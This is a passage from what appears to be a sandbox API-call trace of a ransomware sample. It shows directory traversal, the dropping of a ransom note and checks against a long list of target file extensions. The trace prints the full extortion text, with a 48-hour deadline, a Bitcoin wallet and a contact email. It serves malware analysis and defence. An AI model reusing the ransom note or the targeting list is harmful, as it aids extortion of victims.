dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcepg.ni.dll", cAlternateFileName="")) returned 0 [0107.509] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.509] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f580160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f580160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f580160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="13b4ad00d1167ff3ed7d2a8e4994f1ff", cAlternateFileName="13B4AD~1")) returned 0 [0107.509] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.509] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x700065, cFileName="MCESidebarCtrl", cAlternateFileName="MCESID~1")) returned 1 [0107.509] lstrcmpA (lpString1=".", lpString2="MCESidebarCtrl") returned -1 [0107.509] lstrcmpA (lpString1="..", lpString2="MCESidebarCtrl") returned -1 [0107.509] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.509] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="MCESidebarCtrl" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl" [0107.509] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl") returned 61 [0107.509] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.509] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.510] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.510] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.510] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.510] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f04b0488328a68d57953149b31a85065", cAlternateFileName="F04B04~1")) returned 1 [0107.510] lstrcmpA (lpString1=".", lpString2="f04b0488328a68d57953149b31a85065") returned -1 [0107.510] lstrcmpA (lpString1="..", lpString2="f04b0488328a68d57953149b31a85065") returned -1 [0107.510] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\*.*") returned="*.*" [0107.510] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\", lpString2="f04b0488328a68d57953149b31a85065" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065" [0107.510] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065") returned 94 [0107.510] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.510] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.510] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.510] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.511] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.511] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a30fb5, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a30fb5, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb068de8e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x26400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MCESidebarCtrl.ni.dll", cAlternateFileName="MCESID~1.DLL")) returned 1 [0107.511] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.511] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MCESidebarCtrl.ni.dll") returned -1 [0107.511] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MCESidebarCtrl.ni.dll") returned -1 [0107.511] lstrcmpiA (lpString1="", lpString2="MCESidebarCtrl.ni.dll") returned -1 [0107.511] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\*.*") returned="*.*" [0107.511] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\" [0107.511] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\") returned="" [0107.511] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\HOW TO DECRYPT FILES.txt" [0107.511] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcesidebarctrl\\f04b0488328a68d57953149b31a85065\\how to decrypt files.txt")) returned 0xffffffff [0107.511] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcesidebarctrl\\f04b0488328a68d57953149b31a85065\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.513] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.513] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.515] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.515] CloseHandle (hObject=0x90) returned 1 [0107.515] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\", lpString2="MCESidebarCtrl.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll" [0107.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.ems") returned 0 [0107.515] lstrlenA (lpString="*.ems") returned 5 [0107.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.db") returned 0 [0107.515] lstrlenA (lpString="*.db") returned 4 [0107.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.dbf") returned 0 [0107.515] lstrlenA (lpString="*.dbf") returned 5 [0107.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.myox") returned 0 [0107.515] lstrlenA (lpString="*.myox") returned 6 [0107.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.myo") returned 0 [0107.515] lstrlenA (lpString="*.myo") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbw") returned 0 [0107.516] lstrlenA (lpString="*.qbw") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbb") returned 0 [0107.516] lstrlenA (lpString="*.qbb") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbm") returned 0 [0107.516] lstrlenA (lpString="*.qbm") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbo") returned 0 [0107.516] lstrlenA (lpString="*.qbo") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbx") returned 0 [0107.516] lstrlenA (lpString="*.qbx") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qba") returned 0 [0107.516] lstrlenA (lpString="*.qba") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qby") returned 0 [0107.516] lstrlenA (lpString="*.qby") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qbj") returned 0 [0107.516] lstrlenA (lpString="*.qbj") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.ofx") returned 0 [0107.516] lstrlenA (lpString="*.ofx") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.qif") returned 0 [0107.516] lstrlenA (lpString="*.qif") returned 5 [0107.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mye") returned 0 [0107.517] lstrlenA (lpString="*.mye") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mbox") returned 0 [0107.517] lstrlenA (lpString="*.mbox") returned 6 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.eml") returned 0 [0107.517] lstrlenA (lpString="*.eml") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.pst") returned 0 [0107.517] lstrlenA (lpString="*.pst") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.ost") returned 0 [0107.517] lstrlenA (lpString="*.ost") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.idx") returned 0 [0107.517] lstrlenA (lpString="*.idx") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.dbx") returned 0 [0107.517] lstrlenA (lpString="*.dbx") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.sql") returned 0 [0107.517] lstrlenA (lpString="*.sql") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mdb") returned 0 [0107.517] lstrlenA (lpString="*.mdb") returned 5 [0107.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.fdb") returned 0 [0107.518] lstrlenA (lpString="*.fdb") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.wab") returned 0 [0107.518] lstrlenA (lpString="*.wab") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.dat") returned 0 [0107.518] lstrlenA (lpString="*.dat") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.txt") returned 0 [0107.518] lstrlenA (lpString="*.txt") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.jpeg") returned 0 [0107.518] lstrlenA (lpString="*.jpeg") returned 6 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.jpg") returned 0 [0107.518] lstrlenA (lpString="*.jpg") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.png") returned 0 [0107.518] lstrlenA (lpString="*.png") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.php") returned 0 [0107.518] lstrlenA (lpString="*.php") returned 5 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.cs") returned 0 [0107.518] lstrlenA (lpString="*.cs") returned 4 [0107.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.cpp") returned 0 [0107.519] lstrlenA (lpString="*.cpp") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.rar") returned 0 [0107.519] lstrlenA (lpString="*.rar") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.zip") returned 0 [0107.519] lstrlenA (lpString="*.zip") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.html") returned 0 [0107.519] lstrlenA (lpString="*.html") returned 6 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.htm") returned 0 [0107.519] lstrlenA (lpString="*.htm") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.xlsx") returned 0 [0107.519] lstrlenA (lpString="*.xlsx") returned 6 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.xls") returned 0 [0107.519] lstrlenA (lpString="*.xls") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mp4") returned 0 [0107.519] lstrlenA (lpString="*.mp4") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.ppt") returned 0 [0107.519] lstrlenA (lpString="*.ppt") returned 5 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.pptx") returned 0 [0107.519] lstrlenA (lpString="*.pptx") returned 6 [0107.519] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.doc") returned 0 [0107.519] lstrlenA (lpString="*.doc") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.dot") returned 0 [0107.520] lstrlenA (lpString="*.dot") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.docx") returned 0 [0107.520] lstrlenA (lpString="*.docx") returned 6 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.7z") returned 0 [0107.520] lstrlenA (lpString="*.7z") returned 4 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.tar") returned 0 [0107.520] lstrlenA (lpString="*.tar") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.bz2") returned 0 [0107.520] lstrlenA (lpString="*.bz2") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.gz") returned 0 [0107.520] lstrlenA (lpString="*.gz") returned 4 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mkv") returned 0 [0107.520] lstrlenA (lpString="*.mkv") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.eml") returned 0 [0107.520] lstrlenA (lpString="*.eml") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.msg") returned 0 [0107.520] lstrlenA (lpString="*.msg") returned 5 [0107.520] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.edb") returned 0 [0107.520] lstrlenA (lpString="*.edb") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.accdb") returned 0 [0107.521] lstrlenA (lpString="*.accdb") returned 7 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.odb") returned 0 [0107.521] lstrlenA (lpString="*.odb") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.java") returned 0 [0107.521] lstrlenA (lpString="*.java") returned 6 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.asm") returned 0 [0107.521] lstrlenA (lpString="*.asm") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.pfx") returned 0 [0107.521] lstrlenA (lpString="*.pfx") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.pem") returned 0 [0107.521] lstrlenA (lpString="*.pem") returned 5 [0107.521] PathMatchSpecA 